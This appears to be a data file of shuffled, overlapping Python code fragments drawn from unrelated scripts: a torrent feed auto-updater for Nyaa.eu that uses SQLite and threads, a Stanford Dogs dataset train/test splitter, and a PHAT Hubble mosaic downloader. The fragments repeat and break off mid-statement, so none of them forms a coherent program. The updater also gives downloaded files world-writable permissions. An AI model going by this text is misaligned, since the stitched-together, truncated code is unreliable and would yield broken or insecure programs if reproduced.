"NOT NULL, filename TEXT NOT NULL, url TEXT NOT NULL, pubdate TEXT NOT", "series updates into NUM_UPDATER threads item_per_job = len(data) / NUM_UPDATER + (0 if", "conn.commit() db.close() # divide .torrent downloads into NUM_DOWNLOADER threads item_per_job = len(links) /", "for link in self.links: filename, url = DOWNLOAD_DIR + link[1] + \".torrent\", link[2]", "!= last): self.links.append((series, feeds[n]['name'], feeds[n]['link'], feeds[n]['date'])) n = n + 1 if (n", "VALUES (?, ?, ?, ?)', links) conn.commit() db.close() # divide .torrent downloads into", "(feeds): n = 0 while(n < len(feeds) and feeds[n]['name'] != last): self.links.append((series, feeds[n]['name'],", "job.join() # all download finish def update(db): data = db.load() # divide check", "temp = [] for job in jobs: job.join() # all download finish def", "= NyaaSQLiteDB(DBNAME) links, updates = update(db) if (links): print len(links), \"new updates found\"", "data.items(): temp[key] = value n = n + 1 total = total +", "[] n, total = 0, 0 for link in links: temp.append(link) n, total", "(0 if len(links) % NUM_DOWNLOADER == 0 else 1) temp, jobs = [],", "len(data) % NUM_UPDATER == 0 else 1) temp, jobs = {}, [] n,", "total == len(data)): n = 0 job = UpdaterJob(temp) jobs.append(job) job.start() temp =", "temp = {} links, updates = [], {} for job in jobs: job.join()", "if len(links) % NUM_DOWNLOADER == 0 else 1) temp, jobs = [], []", "total = total + 1 if (n==item_per_job or total == len(data)): n =", "= 0 job = UpdaterJob(temp) jobs.append(job) job.start() temp = {} links, updates =", "job.links updates.update(job.updates) # all series checked return links, updates if __name__ == \"__main__\":", "NUM_DOWNLOADER == 0 else 1) temp, jobs = [], [] n, total =", "links, updates): db.update(updates) # update `series` table # update `updates` table conn =", "job.start() temp = [] for job in jobs: job.join() # all download finish", "n = n + 1 if (n != 0): self.updates[series] = [None, None,", "nyaa_db import NyaaSQLiteDB from threading import Thread import os, stat DBNAME = '/home/pi/db/nyaa.db'", "class UpdaterJob(Thread): def __init__(self, db): Thread.__init__(self) self.db = db def run(self): self.links =", "len(links) / NUM_DOWNLOADER + (0 if len(links) % NUM_DOWNLOADER == 0 else 1)", "update(db) if (links): print len(links), \"new updates found\" db_updates(db, links, updates) else: db.close()", "def update(db): data = db.load() # divide check series updates into NUM_UPDATER threads", "(faizilham.com) 2013 \"\"\" from nyaa_parser import fetch, download from nyaa_db import NyaaSQLiteDB from", "downloads into NUM_DOWNLOADER threads item_per_job = len(links) / NUM_DOWNLOADER + (0 if len(links)", "db def run(self): self.links = [] self.updates = {} for series, val in", "links): Thread.__init__(self) self.links = links def run(self): for link in self.links: filename, url", "total == len(links)): n = 0 job = DownloadJob(temp) jobs.append(job) job.start() temp =", "total = 0, 0 for key, value in data.items(): temp[key] = value n", "last = val[0], val[1], val[2] feeds = fetch(url, pattern) if (feeds): n =", "value in data.items(): temp[key] = value n = n + 1 total =", "class DownloadJob(Thread): def __init__(self, links): Thread.__init__(self) self.links = links def run(self): for link", "len(data)): n = 0 job = UpdaterJob(temp) jobs.append(job) job.start() temp = {} links,", "= UpdaterJob(temp) jobs.append(job) job.start() temp = {} links, updates = [], {} for", "Nyaa.eu Feed Auto Updater <NAME> (faizilham.com) 2013 \"\"\" from nyaa_parser import fetch, download", "series_name TEXT NOT NULL, filename TEXT NOT NULL, url TEXT NOT NULL, pubdate", "= {} links, updates = [], {} for job in jobs: job.join() links", "link[2] download(url, filename) os.chmod(filename, stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) class UpdaterJob(Thread): def __init__(self,", "links def run(self): for link in self.links: filename, url = DOWNLOAD_DIR + link[1]", "NULL, filename TEXT NOT NULL, url TEXT NOT NULL, pubdate TEXT NOT NULL)')", "stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) class UpdaterJob(Thread): def __init__(self, db): Thread.__init__(self) self.db =", "PRIMARY KEY AUTOINCREMENT, series_name TEXT NOT NULL, filename TEXT NOT NULL, url TEXT", "db.connect() conn.execute('CREATE TABLE IF NOT EXISTS updates (id_update INTEGER PRIMARY KEY AUTOINCREMENT, series_name", "series checked return links, updates if __name__ == \"__main__\": db = NyaaSQLiteDB(DBNAME) links,", "\"\"\" Nyaa.eu Feed Auto Updater <NAME> (faizilham.com) 2013 \"\"\" from nyaa_parser import fetch,", "job.start() temp = {} links, updates = [], {} for job in jobs:", "self.links = [] self.updates = {} for series, val in self.db.items(): url, pattern,", "= links + job.links updates.update(job.updates) # all series checked return links, updates if", "updates if __name__ == \"__main__\": db = NyaaSQLiteDB(DBNAME) links, updates = update(db) if", "0 job = DownloadJob(temp) jobs.append(job) job.start() temp = [] for job in jobs:", "+ 1 if(n==item_per_job or total == len(links)): n = 0 job = DownloadJob(temp)", "conn.execute('CREATE TABLE IF NOT EXISTS updates (id_update INTEGER PRIMARY KEY AUTOINCREMENT, series_name TEXT", "= {} for series, val in self.db.items(): url, pattern, last = val[0], val[1],", "threading import Thread import os, stat DBNAME = '/home/pi/db/nyaa.db' DOWNLOAD_DIR = '/home/pi/download/update/' NUM_UPDATER", "links, updates = update(db) if (links): print len(links), \"new updates found\" db_updates(db, links,", "NUM_UPDATER = 4 NUM_DOWNLOADER = 4 class DownloadJob(Thread): def __init__(self, links): Thread.__init__(self) self.links", "while(n < len(feeds) and feeds[n]['name'] != last): self.links.append((series, feeds[n]['name'], feeds[n]['link'], feeds[n]['date'])) n =", "TEXT NOT NULL, filename TEXT NOT NULL, url TEXT NOT NULL, pubdate TEXT", "Auto Updater <NAME> (faizilham.com) 2013 \"\"\" from nyaa_parser import fetch, download from nyaa_db", "threads item_per_job = len(links) / NUM_DOWNLOADER + (0 if len(links) % NUM_DOWNLOADER ==", "= value n = n + 1 total = total + 1 if", "= links def run(self): for link in self.links: filename, url = DOWNLOAD_DIR +", "= [] self.updates = {} for series, val in self.db.items(): url, pattern, last", "2013 \"\"\" from nyaa_parser import fetch, download from nyaa_db import NyaaSQLiteDB from threading", "into NUM_UPDATER threads item_per_job = len(data) / NUM_UPDATER + (0 if len(data) %", "import Thread import os, stat DBNAME = '/home/pi/db/nyaa.db' DOWNLOAD_DIR = '/home/pi/download/update/' NUM_UPDATER =", "+ 1 if (n != 0): self.updates[series] = [None, None, feeds[0]['name']] def db_updates(db,", "0 while(n < len(feeds) and feeds[n]['name'] != last): self.links.append((series, feeds[n]['name'], feeds[n]['link'], feeds[n]['date'])) n", "n, total = 0, 0 for key, value in data.items(): temp[key] = value", "val[0], val[1], val[2] feeds = fetch(url, pattern) if (feeds): n = 0 while(n", "else 1) temp, jobs = [], [] n, total = 0, 0 for", "UpdaterJob(temp) jobs.append(job) job.start() temp = {} links, updates = [], {} for job", "n = n + 1 total = total + 1 if (n==item_per_job or", "feeds[n]['name'] != last): self.links.append((series, feeds[n]['name'], feeds[n]['link'], feeds[n]['date'])) n = n + 1 if", "= [], [] n, total = 0, 0 for link in links: temp.append(link)", "Thread import os, stat DBNAME = '/home/pi/db/nyaa.db' DOWNLOAD_DIR = '/home/pi/download/update/' NUM_UPDATER = 4", "1, total + 1 if(n==item_per_job or total == len(links)): n = 0 job", "filename) os.chmod(filename, stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) class UpdaterJob(Thread): def __init__(self, db): Thread.__init__(self)", "temp, jobs = {}, [] n, total = 0, 0 for key, value", "val in self.db.items(): url, pattern, last = val[0], val[1], val[2] feeds = fetch(url,", "UpdaterJob(Thread): def __init__(self, db): Thread.__init__(self) self.db = db def run(self): self.links = []", "[], [] n, total = 0, 0 for link in links: temp.append(link) n,", "fetch, download from nyaa_db import NyaaSQLiteDB from threading import Thread import os, stat", "n + 1, total + 1 if(n==item_per_job or total == len(links)): n =", "= DOWNLOAD_DIR + link[1] + \".torrent\", link[2] download(url, filename) os.chmod(filename, stat.S_IRWXU | stat.S_IRWXG", "feeds[n]['link'], feeds[n]['date'])) n = n + 1 if (n != 0): self.updates[series] =", "and feeds[n]['name'] != last): self.links.append((series, feeds[n]['name'], feeds[n]['link'], feeds[n]['date'])) n = n + 1", "== 0 else 1) temp, jobs = [], [] n, total = 0,", "def db_updates(db, links, updates): db.update(updates) # update `series` table # update `updates` table", "+ 1 if (n==item_per_job or total == len(data)): n = 0 job =", "\"__main__\": db = NyaaSQLiteDB(DBNAME) links, updates = update(db) if (links): print len(links), \"new", "# divide .torrent downloads into NUM_DOWNLOADER threads item_per_job = len(links) / NUM_DOWNLOADER +", "?)', links) conn.commit() db.close() # divide .torrent downloads into NUM_DOWNLOADER threads item_per_job =", "| stat.S_IRWXO) class UpdaterJob(Thread): def __init__(self, db): Thread.__init__(self) self.db = db def run(self):", "= len(data) / NUM_UPDATER + (0 if len(data) % NUM_UPDATER == 0 else", "= [] for job in jobs: job.join() # all download finish def update(db):", "(n==item_per_job or total == len(data)): n = 0 job = UpdaterJob(temp) jobs.append(job) job.start()", "total = 0, 0 for link in links: temp.append(link) n, total = n", "+ 1, total + 1 if(n==item_per_job or total == len(links)): n = 0", "0, 0 for link in links: temp.append(link) n, total = n + 1,", "DownloadJob(Thread): def __init__(self, links): Thread.__init__(self) self.links = links def run(self): for link in", "Updater <NAME> (faizilham.com) 2013 \"\"\" from nyaa_parser import fetch, download from nyaa_db import", "NyaaSQLiteDB from threading import Thread import os, stat DBNAME = '/home/pi/db/nyaa.db' DOWNLOAD_DIR =", "updates (id_update INTEGER PRIMARY KEY AUTOINCREMENT, series_name TEXT NOT NULL, filename TEXT NOT", "<NAME> (faizilham.com) 2013 \"\"\" from nyaa_parser import fetch, download from nyaa_db import NyaaSQLiteDB", "job = UpdaterJob(temp) jobs.append(job) job.start() temp = {} links, updates = [], {}", "<filename>nyaa_updater.py #!/usr/bin/env python \"\"\" Nyaa.eu Feed Auto Updater <NAME> (faizilham.com) 2013 \"\"\" from", "EXISTS updates (id_update INTEGER PRIMARY KEY AUTOINCREMENT, series_name TEXT NOT NULL, filename TEXT", "`updates` table conn = db.connect() conn.execute('CREATE TABLE IF NOT EXISTS updates (id_update INTEGER", "1 if(n==item_per_job or total == len(links)): n = 0 job = DownloadJob(temp) jobs.append(job)", "if len(data) % NUM_UPDATER == 0 else 1) temp, jobs = {}, []", "= n + 1 if (n != 0): self.updates[series] = [None, None, feeds[0]['name']]", "pubdate) VALUES (?, ?, ?, ?)', links) conn.commit() db.close() # divide .torrent downloads", "from threading import Thread import os, stat DBNAME = '/home/pi/db/nyaa.db' DOWNLOAD_DIR = '/home/pi/download/update/'", "checked return links, updates if __name__ == \"__main__\": db = NyaaSQLiteDB(DBNAME) links, updates", "= '/home/pi/download/update/' NUM_UPDATER = 4 NUM_DOWNLOADER = 4 class DownloadJob(Thread): def __init__(self, links):", "jobs: job.join() # all download finish def update(db): data = db.load() # divide", "?, ?)', links) conn.commit() db.close() # divide .torrent downloads into NUM_DOWNLOADER threads item_per_job", "| stat.S_IRWXG | stat.S_IRWXO) class UpdaterJob(Thread): def __init__(self, db): Thread.__init__(self) self.db = db", "DOWNLOAD_DIR + link[1] + \".torrent\", link[2] download(url, filename) os.chmod(filename, stat.S_IRWXU | stat.S_IRWXG |", "total + 1 if(n==item_per_job or total == len(links)): n = 0 job =", "= update(db) if (links): print len(links), \"new updates found\" db_updates(db, links, updates) else:", "NULL, url TEXT NOT NULL, pubdate TEXT NOT NULL)') conn.executemany('INSERT INTO updates(series_name, filename,", "NUM_DOWNLOADER threads item_per_job = len(links) / NUM_DOWNLOADER + (0 if len(links) % NUM_DOWNLOADER", "jobs: job.join() links = links + job.links updates.update(job.updates) # all series checked return", "== len(links)): n = 0 job = DownloadJob(temp) jobs.append(job) job.start() temp = []" ]
[ "-*- # @Time : 2019/10/13 16:57 # @Author : xiezheng # @Site :", "test_list = loadmat(os.path.join(root, 'test_list.mat'))['file_list'] # save_test_path = '\\Stanford Dogs 120\\\\test' # copy_img(root, test_list,", "return line.replace('/', '\\\\') def copy_img(root, list, save_path): for i in range(list.shape[0]): print('i={}'.format(i)) path", "'Images', path)) dir_, name = path.split('/') target_img_dir = path_replace(os.path.join(save_path, dir_)) if not os.path.exists(target_img_dir):", "# @Time : 2019/10/13 16:57 # @Author : xiezheng # @Site : #", "'\\Stanford Dogs 120' train_list = loadmat(os.path.join(root, 'train_list.mat'))['file_list'] save_train_path = '\\Stanford Dogs 120\\\\train' copy_img(root,", "target_img_path)) shutil.copy(source_img_path, target_img_path) if __name__ == '__main__': print() root = '\\Stanford Dogs 120'", "# @Author : xiezheng # @Site : # @File : data_split.py import os", "os.path.exists(target_img_dir): os.makedirs(target_img_dir) target_img_path = path_replace(os.path.join(target_img_dir, name)) print('source_img_path={}, target_img_path={}'.format(source_img_path, target_img_path)) shutil.copy(source_img_path, target_img_path) if __name__", "os from scipy.io import loadmat import shutil def get_path_str(line): line = str(line) _,", ": xiezheng # @Site : # @File : data_split.py import os from scipy.io", "= str(line) _, path, _ = line.split('\\'') # print('line={}, path={}'.format(line, path)) return path", "name)) print('source_img_path={}, target_img_path={}'.format(source_img_path, target_img_path)) shutil.copy(source_img_path, target_img_path) if __name__ == '__main__': print() root =", "train_list, save_train_path) # test_list = loadmat(os.path.join(root, 'test_list.mat'))['file_list'] # save_test_path = '\\Stanford Dogs 120\\\\test'", "-*- coding: utf-8 -*- # @Time : 2019/10/13 16:57 # @Author : xiezheng", "path={}'.format(line, path)) return path def path_replace(line): return line.replace('/', '\\\\') def copy_img(root, list, save_path):", "target_img_path={}'.format(source_img_path, target_img_path)) shutil.copy(source_img_path, target_img_path) if __name__ == '__main__': print() root = '\\Stanford Dogs", "= path.split('/') target_img_dir = path_replace(os.path.join(save_path, dir_)) if not os.path.exists(target_img_dir): os.makedirs(target_img_dir) target_img_path = path_replace(os.path.join(target_img_dir,", "_ = line.split('\\'') # print('line={}, path={}'.format(line, path)) return path def path_replace(line): return line.replace('/',", "source_img_path = path_replace(os.path.join(root, 'Images', path)) dir_, name = path.split('/') target_img_dir = path_replace(os.path.join(save_path, dir_))", "python # -*- coding: utf-8 -*- # @Time : 2019/10/13 16:57 # @Author", "coding: utf-8 -*- # @Time : 2019/10/13 16:57 # @Author : xiezheng #", "name = path.split('/') target_img_dir = path_replace(os.path.join(save_path, dir_)) if not os.path.exists(target_img_dir): os.makedirs(target_img_dir) target_img_path =", ": data_split.py import os from scipy.io import loadmat import shutil def get_path_str(line): line", "= get_path_str(list[i][0]) source_img_path = path_replace(os.path.join(root, 'Images', path)) dir_, name = path.split('/') target_img_dir =", "'\\\\') def copy_img(root, list, save_path): for i in range(list.shape[0]): print('i={}'.format(i)) path = get_path_str(list[i][0])", "__name__ == '__main__': print() root = '\\Stanford Dogs 120' train_list = loadmat(os.path.join(root, 'train_list.mat'))['file_list']", "= '\\Stanford Dogs 120\\\\train' copy_img(root, train_list, save_train_path) # test_list = loadmat(os.path.join(root, 'test_list.mat'))['file_list'] #", "def path_replace(line): return line.replace('/', '\\\\') def copy_img(root, list, save_path): for i in range(list.shape[0]):", "line.replace('/', '\\\\') def copy_img(root, list, save_path): for i in range(list.shape[0]): print('i={}'.format(i)) path =", "# @Site : # @File : data_split.py import os from scipy.io import loadmat", "# print('line={}, path={}'.format(line, path)) return path def path_replace(line): return line.replace('/', '\\\\') def copy_img(root,", "print('line={}, path={}'.format(line, path)) return path def path_replace(line): return line.replace('/', '\\\\') def copy_img(root, list,", "@Site : # @File : data_split.py import os from scipy.io import loadmat import", "= loadmat(os.path.join(root, 'test_list.mat'))['file_list'] # save_test_path = '\\Stanford Dogs 120\\\\test' # copy_img(root, test_list, save_test_path)", "print('source_img_path={}, target_img_path={}'.format(source_img_path, target_img_path)) shutil.copy(source_img_path, target_img_path) if __name__ == '__main__': print() root = '\\Stanford", "dir_, name = path.split('/') target_img_dir = path_replace(os.path.join(save_path, dir_)) if not os.path.exists(target_img_dir): os.makedirs(target_img_dir) target_img_path", "copy_img(root, train_list, save_train_path) # test_list = loadmat(os.path.join(root, 'test_list.mat'))['file_list'] # save_test_path = '\\Stanford Dogs", "def get_path_str(line): line = str(line) _, path, _ = line.split('\\'') # print('line={}, path={}'.format(line,", "print('i={}'.format(i)) path = get_path_str(list[i][0]) source_img_path = path_replace(os.path.join(root, 'Images', path)) dir_, name = path.split('/')", "copy_img(root, list, save_path): for i in range(list.shape[0]): print('i={}'.format(i)) path = get_path_str(list[i][0]) source_img_path =", "path_replace(os.path.join(root, 'Images', path)) dir_, name = path.split('/') target_img_dir = path_replace(os.path.join(save_path, dir_)) if not", "120' train_list = loadmat(os.path.join(root, 'train_list.mat'))['file_list'] save_train_path = '\\Stanford Dogs 120\\\\train' copy_img(root, train_list, save_train_path)", "'\\Stanford Dogs 120\\\\train' copy_img(root, train_list, save_train_path) # test_list = loadmat(os.path.join(root, 'test_list.mat'))['file_list'] # save_test_path", "= loadmat(os.path.join(root, 'train_list.mat'))['file_list'] save_train_path = '\\Stanford Dogs 120\\\\train' copy_img(root, train_list, save_train_path) # test_list", "= path_replace(os.path.join(save_path, dir_)) if not os.path.exists(target_img_dir): os.makedirs(target_img_dir) target_img_path = path_replace(os.path.join(target_img_dir, name)) print('source_img_path={}, target_img_path={}'.format(source_img_path,", "#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2019/10/13 16:57 #", "== '__main__': print() root = '\\Stanford Dogs 120' train_list = loadmat(os.path.join(root, 'train_list.mat'))['file_list'] save_train_path", "@File : data_split.py import os from scipy.io import loadmat import shutil def get_path_str(line):", "target_img_path) if __name__ == '__main__': print() root = '\\Stanford Dogs 120' train_list =", "import shutil def get_path_str(line): line = str(line) _, path, _ = line.split('\\'') #", "2019/10/13 16:57 # @Author : xiezheng # @Site : # @File : data_split.py", "'__main__': print() root = '\\Stanford Dogs 120' train_list = loadmat(os.path.join(root, 'train_list.mat'))['file_list'] save_train_path =", "# @File : data_split.py import os from scipy.io import loadmat import shutil def", "= path_replace(os.path.join(root, 'Images', path)) dir_, name = path.split('/') target_img_dir = path_replace(os.path.join(save_path, dir_)) if", "120\\\\train' copy_img(root, train_list, save_train_path) # test_list = loadmat(os.path.join(root, 'test_list.mat'))['file_list'] # save_test_path = '\\Stanford", "path_replace(os.path.join(save_path, dir_)) if not os.path.exists(target_img_dir): os.makedirs(target_img_dir) target_img_path = path_replace(os.path.join(target_img_dir, name)) print('source_img_path={}, target_img_path={}'.format(source_img_path, target_img_path))", "line.split('\\'') # print('line={}, path={}'.format(line, path)) return path def path_replace(line): return line.replace('/', '\\\\') def", "import loadmat import shutil def get_path_str(line): line = str(line) _, path, _ =", "# -*- coding: utf-8 -*- # @Time : 2019/10/13 16:57 # @Author :", "path_replace(line): return line.replace('/', '\\\\') def copy_img(root, list, save_path): for i in range(list.shape[0]): print('i={}'.format(i))", "target_img_path = path_replace(os.path.join(target_img_dir, name)) print('source_img_path={}, target_img_path={}'.format(source_img_path, target_img_path)) shutil.copy(source_img_path, target_img_path) if __name__ == '__main__':", "'train_list.mat'))['file_list'] save_train_path = '\\Stanford Dogs 120\\\\train' copy_img(root, train_list, save_train_path) # test_list = loadmat(os.path.join(root,", "if __name__ == '__main__': print() root = '\\Stanford Dogs 120' train_list = loadmat(os.path.join(root,", "train_list = loadmat(os.path.join(root, 'train_list.mat'))['file_list'] save_train_path = '\\Stanford Dogs 120\\\\train' copy_img(root, train_list, save_train_path) #", "xiezheng # @Site : # @File : data_split.py import os from scipy.io import", "print() root = '\\Stanford Dogs 120' train_list = loadmat(os.path.join(root, 'train_list.mat'))['file_list'] save_train_path = '\\Stanford", "= path_replace(os.path.join(target_img_dir, name)) print('source_img_path={}, target_img_path={}'.format(source_img_path, target_img_path)) shutil.copy(source_img_path, target_img_path) if __name__ == '__main__': print()", "import os from scipy.io import loadmat import shutil def get_path_str(line): line = str(line)", "path)) dir_, name = path.split('/') target_img_dir = path_replace(os.path.join(save_path, dir_)) if not os.path.exists(target_img_dir): os.makedirs(target_img_dir)", "os.makedirs(target_img_dir) target_img_path = path_replace(os.path.join(target_img_dir, name)) print('source_img_path={}, target_img_path={}'.format(source_img_path, target_img_path)) shutil.copy(source_img_path, target_img_path) if __name__ ==", "path)) return path def path_replace(line): return line.replace('/', '\\\\') def copy_img(root, list, save_path): for", "@Time : 2019/10/13 16:57 # @Author : xiezheng # @Site : # @File", "<filename>data/data_split.py #!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2019/10/13 16:57", "not os.path.exists(target_img_dir): os.makedirs(target_img_dir) target_img_path = path_replace(os.path.join(target_img_dir, name)) print('source_img_path={}, target_img_path={}'.format(source_img_path, target_img_path)) shutil.copy(source_img_path, target_img_path) if", "dir_)) if not os.path.exists(target_img_dir): os.makedirs(target_img_dir) target_img_path = path_replace(os.path.join(target_img_dir, name)) print('source_img_path={}, target_img_path={}'.format(source_img_path, target_img_path)) shutil.copy(source_img_path,", "from scipy.io import loadmat import shutil def get_path_str(line): line = str(line) _, path,", "shutil.copy(source_img_path, target_img_path) if __name__ == '__main__': print() root = '\\Stanford Dogs 120' train_list", "path, _ = line.split('\\'') # print('line={}, path={}'.format(line, path)) return path def path_replace(line): return", "list, save_path): for i in range(list.shape[0]): print('i={}'.format(i)) path = get_path_str(list[i][0]) source_img_path = path_replace(os.path.join(root,", "path def path_replace(line): return line.replace('/', '\\\\') def copy_img(root, list, save_path): for i in", ": # @File : data_split.py import os from scipy.io import loadmat import shutil", "path_replace(os.path.join(target_img_dir, name)) print('source_img_path={}, target_img_path={}'.format(source_img_path, target_img_path)) shutil.copy(source_img_path, target_img_path) if __name__ == '__main__': print() root", "if not os.path.exists(target_img_dir): os.makedirs(target_img_dir) target_img_path = path_replace(os.path.join(target_img_dir, name)) print('source_img_path={}, target_img_path={}'.format(source_img_path, target_img_path)) shutil.copy(source_img_path, target_img_path)", "data_split.py import os from scipy.io import loadmat import shutil def get_path_str(line): line =", "Dogs 120' train_list = loadmat(os.path.join(root, 'train_list.mat'))['file_list'] save_train_path = '\\Stanford Dogs 120\\\\train' copy_img(root, train_list,", "save_train_path = '\\Stanford Dogs 120\\\\train' copy_img(root, train_list, save_train_path) # test_list = loadmat(os.path.join(root, 'test_list.mat'))['file_list']", ": 2019/10/13 16:57 # @Author : xiezheng # @Site : # @File :", "line = str(line) _, path, _ = line.split('\\'') # print('line={}, path={}'.format(line, path)) return", "return path def path_replace(line): return line.replace('/', '\\\\') def copy_img(root, list, save_path): for i", "utf-8 -*- # @Time : 2019/10/13 16:57 # @Author : xiezheng # @Site", "save_path): for i in range(list.shape[0]): print('i={}'.format(i)) path = get_path_str(list[i][0]) source_img_path = path_replace(os.path.join(root, 'Images',", "get_path_str(line): line = str(line) _, path, _ = line.split('\\'') # print('line={}, path={}'.format(line, path))", "16:57 # @Author : xiezheng # @Site : # @File : data_split.py import", "= '\\Stanford Dogs 120' train_list = loadmat(os.path.join(root, 'train_list.mat'))['file_list'] save_train_path = '\\Stanford Dogs 120\\\\train'", "str(line) _, path, _ = line.split('\\'') # print('line={}, path={}'.format(line, path)) return path def", "path = get_path_str(list[i][0]) source_img_path = path_replace(os.path.join(root, 'Images', path)) dir_, name = path.split('/') target_img_dir", "get_path_str(list[i][0]) source_img_path = path_replace(os.path.join(root, 'Images', path)) dir_, name = path.split('/') target_img_dir = path_replace(os.path.join(save_path,", "# test_list = loadmat(os.path.join(root, 'test_list.mat'))['file_list'] # save_test_path = '\\Stanford Dogs 120\\\\test' # copy_img(root,", "range(list.shape[0]): print('i={}'.format(i)) path = get_path_str(list[i][0]) source_img_path = path_replace(os.path.join(root, 'Images', path)) dir_, name =", "@Author : xiezheng # @Site : # @File : data_split.py import os from", "for i in range(list.shape[0]): print('i={}'.format(i)) path = get_path_str(list[i][0]) source_img_path = path_replace(os.path.join(root, 'Images', path))", "path.split('/') target_img_dir = path_replace(os.path.join(save_path, dir_)) if not os.path.exists(target_img_dir): os.makedirs(target_img_dir) target_img_path = path_replace(os.path.join(target_img_dir, name))", "in range(list.shape[0]): print('i={}'.format(i)) path = get_path_str(list[i][0]) source_img_path = path_replace(os.path.join(root, 'Images', path)) dir_, name", "_, path, _ = line.split('\\'') # print('line={}, path={}'.format(line, path)) return path def path_replace(line):", "scipy.io import loadmat import shutil def get_path_str(line): line = str(line) _, path, _", "loadmat import shutil def get_path_str(line): line = str(line) _, path, _ = line.split('\\'')", "loadmat(os.path.join(root, 'train_list.mat'))['file_list'] save_train_path = '\\Stanford Dogs 120\\\\train' copy_img(root, train_list, save_train_path) # test_list =", "shutil def get_path_str(line): line = str(line) _, path, _ = line.split('\\'') # print('line={},", "target_img_dir = path_replace(os.path.join(save_path, dir_)) if not os.path.exists(target_img_dir): os.makedirs(target_img_dir) target_img_path = path_replace(os.path.join(target_img_dir, name)) print('source_img_path={},", "root = '\\Stanford Dogs 120' train_list = loadmat(os.path.join(root, 'train_list.mat'))['file_list'] save_train_path = '\\Stanford Dogs", "Dogs 120\\\\train' copy_img(root, train_list, save_train_path) # test_list = loadmat(os.path.join(root, 'test_list.mat'))['file_list'] # save_test_path =", "save_train_path) # test_list = loadmat(os.path.join(root, 'test_list.mat'))['file_list'] # save_test_path = '\\Stanford Dogs 120\\\\test' #", "= line.split('\\'') # print('line={}, path={}'.format(line, path)) return path def path_replace(line): return line.replace('/', '\\\\')", "def copy_img(root, list, save_path): for i in range(list.shape[0]): print('i={}'.format(i)) path = get_path_str(list[i][0]) source_img_path", "i in range(list.shape[0]): print('i={}'.format(i)) path = get_path_str(list[i][0]) source_img_path = path_replace(os.path.join(root, 'Images', path)) dir_," ]
[]
[ "16: 12106, 17: 12059, 18: 12108, 19: 12110, 20: 12112, 21: 12055, 22:", "= f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f336w_v1_drz.fits\" print(f\"Downloading brick {i}\") brick_path = osjoin(output, f\"brick{i}\") if not os.path.exists(brick_path): os.mkdir(brick_path)", "= f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f336w_v1_drz.fits\" else: brickurl = f\"{baseurl}/brick{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f814w_v1_drz.fits\" wfcir_110", "f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f275w_v1_drz.fits\"", "if i < 10: brickurl = f\"{baseurl}/brick0{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f814w_v1_drz.fits\"", "= f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f336w_v1_drz.fits\" else: brickurl", "wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f336w_v1_drz.fits\" print(f\"Downloading brick {i}\") brick_path", "11: 12115, 12: 12071, 13: 12114, 14: 12072, 15: 12056, 16: 12106, 17:", "3: 12109, 4: 12107, 5: 12074, 6: 12105, 7: 12113, 8: 12075, 9:", "brick mosaics for PHAT import os from os.path import join as osjoin output", "file in [acs_475, acs_814, wfcir_110, wfcir_160, wfcuv_275, wfcuv_336]: # Check if we need", "12111, 11: 12115, 12: 12071, 13: 12114, 14: 12072, 15: 12056, 16: 12106,", "= {1: 12058, 2: 12073, 3: 12109, 4: 12107, 5: 12074, 6: 12105,", "wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f336w_v1_drz.fits\" print(f\"Downloading brick {i}\") brick_path = osjoin(output, f\"brick{i}\") if not os.path.exists(brick_path):", "13: 12114, 14: 12072, 15: 12056, 16: 12106, 17: 12059, 18: 12108, 19:", "os.mkdir(brick_path) os.chdir(brick_path) for file in [acs_475, acs_814, wfcir_110, wfcir_160, wfcuv_275, wfcuv_336]: # Check", "all the brick mosaics for PHAT import os from os.path import join as", "12109, 4: 12107, 5: 12074, 6: 12105, 7: 12113, 8: 12075, 9: 12057,", "range(1, 24): if i < 10: brickurl = f\"{baseurl}/brick0{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f475w_v1_drz.fits\" acs_814", "10: 12111, 11: 12115, 12: 12071, 13: 12114, 14: 12072, 15: 12056, 16:", "12075, 9: 12057, 10: 12111, 11: 12115, 12: 12071, 13: 12114, 14: 12072,", "not os.path.exists(brick_path): os.mkdir(brick_path) os.chdir(brick_path) for file in [acs_475, acs_814, wfcir_110, wfcir_160, wfcuv_275, wfcuv_336]:", "baseurl = 